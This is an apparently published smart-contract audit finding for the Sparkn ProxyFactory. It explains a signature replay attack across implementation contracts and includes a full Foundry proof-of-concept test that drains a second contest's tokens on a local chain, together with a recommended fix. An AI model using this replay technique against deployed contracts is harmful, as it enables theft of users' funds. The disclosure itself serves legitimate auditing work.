Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: high
Valid

Replay Attack across implementation contracts

Summary

The deployProxyAndDistributeBySignature function allows to deploy a proxy and distribute funds to winners on behalf of the organizer, by using the EIP-712 standard to verify signatures. But the function is vulnerable to a replay attack that allows users to steal funds, by using the same signature again with another implementation contract.

Vulnerability Details

The parameters passed to the deployProxyAndDistributeBySignature function are the following:

function deployProxyAndDistributeBySignature(
address organizer,
bytes32 contestId,
address implementation,
bytes calldata signature,
bytes calldata data
) public returns (address) { ... }

And the signature is checked the following way:

bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, data)));
if (ECDSA.recover(digest, signature) != organizer) revert ProxyFactory__InvalidSignature();

As we can see all the data from the parameters is in the signature except from the implementation address. This allows the following attack path:

  • Organizer / Owner starts a contest (with for example 1000 USDC and the id 1)

  • Organizer creates a signature

  • User wins the contest

  • Anybody calls the deployProxyAndDistributeBySignature function with the signature of the organizer and the user receives the funds

  • Time passes and the implementation contract gets updates, or multiple implementation contracts are at use now

  • The organizer starts another contract on this new implementation and again uses 1000 USDC and id 1

  • The user who won the last contest sends the same signature from the past, but with the new implementation contract address to deployProxyAndDistributeBySignature to win again, without providing any value to the organizer

To run the following proof of concept, implement it in the Sparkn repo under test/integration and execute it with forge test:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {MockERC20} from "../mock/MockERC20.sol";
import {Test, console} from "forge-std/Test.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
import {Proxy} from "../../src/Proxy.sol";
import {ProxyFactory} from "../../src/ProxyFactory.sol";
import {Distributor} from "../../src/Distributor.sol";
import {HelperContract} from "./HelperContract.t.sol";
import {ECDSA} from "openzeppelin/utils/cryptography/ECDSA.sol";
contract ReplayAttackTest is StdCheats, HelperContract {
uint256 constant ORGANIZER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
address constant ORGANIZER = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
function setUp() public {
// set up balances of each token belongs to each user
if (block.chainid == 31337) {
// deal ether
vm.deal(factoryAdmin, STARTING_USER_BALANCE);
vm.deal(sponsor, SMALL_STARTING_USER_BALANCE);
vm.deal(organizer, SMALL_STARTING_USER_BALANCE);
vm.deal(user1, SMALL_STARTING_USER_BALANCE);
vm.deal(user2, SMALL_STARTING_USER_BALANCE);
vm.deal(user3, SMALL_STARTING_USER_BALANCE);
vm.startPrank(tokenMinter);
// mint erc20 token
MockERC20(jpycv1Address).mint(sponsor, 100_000 ether); // 100k JPYCv1
MockERC20(jpycv2Address).mint(sponsor, 300_000 ether); // 300k JPYCv2
MockERC20(usdcAddress).mint(sponsor, 10_000 ether); // 10k USDC
MockERC20(jpycv1Address).mint(organizer, 100_000 ether); // 100k JPYCv1
MockERC20(jpycv2Address).mint(organizer, 300_000 ether); // 300k JPYCv2
MockERC20(usdcAddress).mint(organizer, 10_000 ether); // 10k USDC
vm.stopPrank();
}
// labels
vm.label(organizer, "organizer");
vm.label(sponsor, "sponsor");
vm.label(supporter, "supporter");
vm.label(user1, "user1");
vm.label(user2, "user2");
vm.label(user3, "user3");
}
function createData() public view returns (bytes memory data) {
address[] memory tokens_ = new address[](1);
tokens_[0] = jpycv2Address;
address[] memory winners = new address[](1);
winners[0] = user1;
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.distribute.selector, jpycv2Address, winners, percentages_, "");
}
function createSignatureByASigner(uint256 privateK) public view returns (bytes32, bytes memory, bytes memory) {
// organizer is test signer this time
// build the digest according to EIP712 and sign it by test signer to create signature
bytes32 domainSeparatorV4 = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("ProxyFactory")),
keccak256(bytes("1")),
block.chainid,
address(proxyFactory)
)
);
bytes32 id = bytes32(uint(1));
bytes memory sendingData = createData();
bytes32 data = keccak256(abi.encode(id, sendingData));
bytes32 digest = ECDSA.toTypedDataHash(domainSeparatorV4, data);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateK, digest);
bytes memory signature = abi.encodePacked(r, s, v);
return (digest, sendingData, signature);
}
function setUpContestForJasonAndSentJpycv2Token(address _organizer, address implementation) public {
vm.startPrank(factoryAdmin);
bytes32 id = bytes32(uint(1));
proxyFactory.setContest(_organizer, id, block.timestamp + 8 days, implementation);
vm.stopPrank();
bytes32 salt = keccak256(abi.encode(_organizer, id, implementation));
address proxyAddress = proxyFactory.getProxyAddress(salt, implementation);
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxyAddress, 10000 ether);
vm.stopPrank();
assertEq(MockERC20(jpycv2Address).balanceOf(proxyAddress), 10000 ether);
}
function test_replay_attack() public {
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
setUpContestForJasonAndSentJpycv2Token(ORGANIZER, address(distributor));
vm.warp(block.timestamp + 8.01 days);
(bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(ORGANIZER_KEY);
assertEq(ECDSA.recover(digest, signature), ORGANIZER);
bytes32 id = bytes32(uint(1));
proxyFactory.deployProxyAndDistributeBySignature(
ORGANIZER, id, address(distributor), signature, sendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 9500 ether);
// after some time a new implementation contract is created and the organizer starts a new contest on it
vm.warp(block.timestamp + 90 days);
Distributor newImplementationContract = new Distributor(address(proxyFactory), stadiumAddress);
setUpContestForJasonAndSentJpycv2Token(ORGANIZER, address(newImplementationContract));
vm.warp(block.timestamp + 8.01 days);
// the user replays the signature, by using the new implementation contract to steal funds
vm.prank(user1);
proxyFactory.deployProxyAndDistributeBySignature(
ORGANIZER, id, address(newImplementationContract), signature, sendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 9500 ether * 2);
}
}

Impact

Users are able to steal funds in a straightforward attack path, under certain conditions, which will most likely occur if the protocol is in use and the protocol updates the implementation contract, or even creates multiple implementation contracts.

Tools Used

Manual Review, Foundry, VSCode

Recommendations

Add the implementation address into the signature.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.